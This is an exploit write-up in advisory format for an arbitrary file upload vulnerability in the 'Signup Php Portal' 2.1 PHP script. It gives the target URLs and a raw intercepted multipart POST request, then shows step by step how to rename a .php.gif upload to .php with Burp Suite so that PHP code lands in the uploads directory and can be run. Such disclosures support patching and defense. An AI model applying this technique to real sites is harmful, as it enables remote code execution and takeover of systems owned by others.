<-- # Exploit Title: Signup Php Portal Arbitrary File Upload # Google Dork: N/A # Date: 19/12/2021 # Exploit Author: Sohel Yousef - sohel.yousef@yandex.com # Software Link: https://codecanyon.net/item/signup-php-portal/23066564 # Software Demo :https://ocsolutions.co.in/signup_custom_script/customer_register.php # Category: webapps # Version: 2.1 1. Description Signup Php Portal script contain arbitrary file upload using the form you can upload php files and bypass secuirty with burb suite intercept tool signup link : https://localhost/signup_custom_script/customer_register.php in the section of other images upload your file.php.gif and use intercept tool in burbsuite to edit the raw details POST /signup_custom_script/upload.php HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: */* Accept-Language: ar,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------232155580731505179933631361962 Content-Length: 294712 Origin: https://localhost Connection: close Referer: https://localhost/signup_custom_script/customer_register.php Cookie: language=en-gb; currency=GBP; PHPSESSID=055209d5effdb7d44487349cbd66243e Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------232155580731505179933631361962 Content-Disposition: form-data; name="name" p1fna9ivqhk6g1fbjqto1f711ooq9.gif <<<<<------- REMOVE .GIF AND EDIT THIS TO .PHP -----------------------------232155580731505179933631361962 Content-Disposition: form-data; name="file"; filename="2.php.gif" <<<<<------- REMOVE .GIF AND EDIT THIS TO .PHP Content-Type: image/gif ##### forward and all done your file name will be p1fna9ivqhk6g1fbjqto1f711ooq9.php and this is the upload dir https://localhost//signup_custom_script/uploads/ your file will be on this link https://localhost//signup_custom_script/uploads/p1fna9ivqhk6g1fbjqto1f711ooq9.php -->